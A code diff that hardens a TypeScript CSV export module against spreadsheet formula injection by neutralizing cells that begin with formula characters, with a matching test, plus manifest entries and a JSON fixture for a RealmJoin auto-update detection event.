expect(row).not.toMatch(/(^|,)"[=+\-@\t\r]/);
});
});
@@ -40,10 +40,22 @@ export const SEVERITY_INT: Record<string, number> = {
Trace: -1, Debug: 0, Info: 1, Warning: 2, Error: 3, Critical: 4
};
/**
* Quote a CSV cell and make untrusted content inert for spreadsheet consumers (CWE-1236).
* Excel/LibreOffice unquote the cell and then evaluate a leading `=`, `+`, `-`, `@`
* (and tab/CR-led cells) as a formula — device-originated strings (event message,
* device name, serial, failure reason, ...) must never reach a cell in that shape.
* A leading apostrophe forces text interpretation; embedded quotes are doubled.
*/
export function csvCell(v: string | number | boolean | undefined | null): string {
const raw = String(v ?? "");
const neutralized = /^[=+\-@\t\r]/.test(raw) ? `'${raw}` : raw;
return `"${neutralized.replace(/"/g, '""')}"`;
}
export function generateCsvExport(events: SessionExportEvent[]) {
const isV1 = events.some(e => e.phase === 2);
const phaseNames = isV1 ? EXPORT_V1_PHASE_NAMES : EXPORT_V2_PHASE_NAMES;
const esc = (v: string) => `"${v.replace(/"/g, '""')}"`;
// Sort exactly as Azure Table Storage: by timestamp ascending, then sequence ascending
const sorted = [...events].sort((a, b) => {
const tCmp = (a.timestamp ?? "").localeCompare(b.timestamp ?? "");
@@ -59,21 +71,21 @@ export function generateCsvExport(events: SessionExportEvent[]) {
const sevInt = SEVERITY_INT[sev] ?? SEVERITY_INT[sev.charAt(0).toUpperCase() + sev.slice(1).toLowerCase()];
const severityCell = sevInt !== undefined ? `${sev} (${sevInt})` : sev;
return [
esc(`${e.tenantId ?? ""}_${e.sessionId ?? ""}`),
esc(e.rowKey ?? ""),
esc(e.eventId ?? ""),
esc(e.sessionId ?? ""),
esc(e.tenantId ?? ""),
esc(e.timestamp ?? ""),
esc(e.receivedAt ?? ""),
esc(e.eventType ?? ""),
esc(severityCell),
esc(e.source ?? ""),
csvCell(`${e.tenantId ?? ""}_${e.sessionId ?? ""}`),
csvCell(e.rowKey ?? ""),
csvCell(e.eventId ?? ""),
csvCell(e.sessionId ?? ""),
csvCell(e.tenantId ?? ""),
csvCell(e.timestamp ?? ""),
csvCell(e.receivedAt ?? ""),
csvCell(e.eventType ?? ""),
csvCell(severityCell),
csvCell(e.source ?? ""),
String(e.phase ?? 0),
esc(e.message ?? ""),
csvCell(e.message ?? ""),
String(e.sequence ?? 0),
esc(e.data ? JSON.stringify(e.data) : ""),
esc(phaseNames[e.phase] ?? "Unknown"),
csvCell(e.data ? JSON.stringify(e.data) : ""),
csvCell(phaseNames[e.phase] ?? "Unknown"),
].join(",");
});
return "\uFEFF" + header + "\n" + rows.join("\n");
@@ -123,52 +135,51 @@ export interface SessionCsvData {
}
export function generateSessionCsvExport(session: SessionCsvData): string {
const esc = (v: string | undefined | null) => `"${String(v ?? "").replace(/"/g, '""')}"`;
// Columns mirror the Sessions Azure Table Storage schema
// PartitionKey = TenantId, RowKey = SessionId
// Newer fields are APPENDED (never inserted) so the column prefix stays stable
// for anything parsing older exports.
const header = "PartitionKey,RowKey,SerialNumber,DeviceName,Manufacturer,Model,OsName,OsBuild,OsDisplayVersion,OsEdition,OsLanguage,IsUserDriven,IsPreProvisioned,StartedAt,CompletedAt,AgentVersion,EnrollmentType,CurrentPhase,Status,EventCount,FailureReason,LastEventAt,DurationSeconds,DiagnosticsBlobName,RebootCount,FailureSource,ReconcileReason,AdminMarkedAction,ValidatedBy,IsHybridJoin,IsSelfDeployingProfile,ConnectionType,GeoCountry,GeoRegion,GeoCity,AvgApiLatencyMs,ApiRequestCount,StalledAt,FailureSnapshotJson,IsCloudPc";
const row = [
esc(session.tenantId),
esc(session.sessionId),
esc(session.serialNumber),
esc(session.deviceName),
esc(session.manufacturer),
esc(session.model),
esc(session.osName),
esc(session.osBuild),
esc(session.osDisplayVersion),
esc(session.osEdition),
esc(session.osLanguage),
csvCell(session.tenantId),
csvCell(session.sessionId),
csvCell(session.serialNumber),
csvCell(session.deviceName),
csvCell(session.manufacturer),
csvCell(session.model),
csvCell(session.osName),
csvCell(session.osBuild),
csvCell(session.osDisplayVersion),
csvCell(session.osEdition),
csvCell(session.osLanguage),
String(session.isUserDriven ?? ""),
String(session.isPreProvisioned ?? ""),
esc(session.startedAt),
esc(session.completedAt),
esc(session.agentVersion),
esc(session.enrollmentType),
csvCell(session.startedAt),
csvCell(session.completedAt),
csvCell(session.agentVersion),
csvCell(session.enrollmentType),
String(session.currentPhase ?? ""),
esc(session.status),
csvCell(session.status),
String(session.eventCount ?? ""),
esc(session.failureReason),
esc(session.lastEventAt),
csvCell(session.failureReason),
csvCell(session.lastEventAt),
String(session.durationSeconds ?? ""),
esc(session.diagnosticsBlobName),
csvCell(session.diagnosticsBlobName),
String(session.rebootCount ?? ""),
esc(session.failureSource),
esc(session.reconcileReason),
esc(session.adminMarkedAction),
esc(session.validatedBy),
csvCell(session.failureSource),
csvCell(session.reconcileReason),
csvCell(session.adminMarkedAction),
csvCell(session.validatedBy),
String(session.isHybridJoin ?? ""),
String(session.isSelfDeployingProfile ?? ""),
esc(session.connectionType),
esc(session.geoCountry),
esc(session.geoRegion),
esc(session.geoCity),
csvCell(session.connectionType),
csvCell(session.geoCountry),
csvCell(session.geoRegion),
csvCell(session.geoCity),
String(session.avgApiLatencyMs ?? ""),
String(session.apiRequestCount ?? ""),
esc(session.stalledAt),
esc(session.failureSnapshotJson),
csvCell(session.stalledAt),
csvCell(session.failureSnapshotJson),
String(session.isCloudPc ?? ""),
].join(",");
return "\uFEFF" + header + "\n" + row;
@@ -191,26 +202,25 @@ export interface RuleResultCsvData {
}
export function generateRuleResultsCsvExport(results: RuleResultCsvData[]): string {
const esc = (v: string | undefined | null) => `"${String(v ?? "").replace(/"/g, '""')}"`;
// Columns match the RuleResults Azure Table Storage schema exactly
// PartitionKey = TenantId_SessionId, RowKey = RuleId
const header = "PartitionKey,RowKey,ResultId,SessionId,TenantId,RuleId,RuleTitle,Severity,Category,ConfidenceScore,Explanation,RemediationJson,RelatedDocsJson,MatchedConditionsJson,DetectedAt";
const rows = results.map(r => [
esc(`${r.tenantId}_${r.sessionId}`),
esc(r.ruleId),
esc(r.resultId),
esc(r.sessionId),
esc(r.tenantId),
esc(r.ruleId),
esc(r.ruleTitle),
esc(r.severity),
esc(r.category),
csvCell(`${r.tenantId}_${r.sessionId}`),
csvCell(r.ruleId),
csvCell(r.resultId),
csvCell(r.sessionId),
csvCell(r.tenantId),
csvCell(r.ruleId),
csvCell(r.ruleTitle),
csvCell(r.severity),
csvCell(r.category),
String(r.confidenceScore ?? ""),
esc(r.explanation),
esc(r.remediation ? JSON.stringify(r.remediation) : ""),
esc(r.relatedDocs ? JSON.stringify(r.relatedDocs) : ""),
esc(r.matchedConditions ? JSON.stringify(r.matchedConditions) : ""),
esc(r.detectedAt),
csvCell(r.explanation),
csvCell(r.remediation ? JSON.stringify(r.remediation) : ""),
csvCell(r.relatedDocs ? JSON.stringify(r.relatedDocs) : ""),
csvCell(r.matchedConditions ? JSON.stringify(r.matchedConditions) : ""),
csvCell(r.detectedAt),
].join(","));
return "\uFEFF" + header + "\n" + rows.join("\n");
}
@@ -623,6 +623,7 @@ export const SHARED_MANIFEST = {
"prior_run_died_with_state",
"provisioning_package_scan",
"proxy_configuration",
"realmjoin_autoupdate_detected",
"realmjoin_detected",
"realmjoin_first_deployment_incomplete",
"realmjoin_package_completed",
@@ -619,6 +619,7 @@
"prior_run_died_with_state",
"provisioning_package_scan",
"proxy_configuration",
"realmjoin_autoupdate_detected",
"realmjoin_detected",
"realmjoin_first_deployment_incomplete",
"realmjoin_package_completed",
@@ -0,0 +1,7 @@
# RealmJoinAutoUpdateDetected v1 — RealmJoin self-update after detection.
# Posted by RealmJoinWatcherAdapter when the HKLM\...\Uninstall\RealmJoin key changes and the
# re-read RealmJoin.exe version differs from the one reported on RealmJoinDetected (tray
# AppUpdater on first start; gktatooine session 946ccbd6: 4.21.4 -> 4.21.18 nine minutes after
# detection). Reducer: HandleRealmJoinAutoUpdateDetectedV1 → overrides
# RealmJoinFacts.ProductVersion / ReleaseChannel. Bookkeeping-only: no gate, no deadline.
{"SessionSignalOrdinal":2,"SessionTraceOrdinal":2,"Kind":"RealmJoinAutoUpdateDetected","KindSchemaVersion":1,"OccurredAtUtc":"2026-08-30T13:33:27.0000000Z","SourceOrigin":"RealmJoinWatcher","Evidence":{"Kind":"Derived","Identifier":"realmjoin-autoupdate-detected-v1","Summary":"RealmJoin self-update observed (4.21.4 -> 4.21.18, releaseChannel=canary)","DerivationInputs":{"registryKey":"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\RealmJoin"}},"Payload":{"previousVersion":"4.21.4","productVersion":"4.21.18","releaseChannel":"canary"}}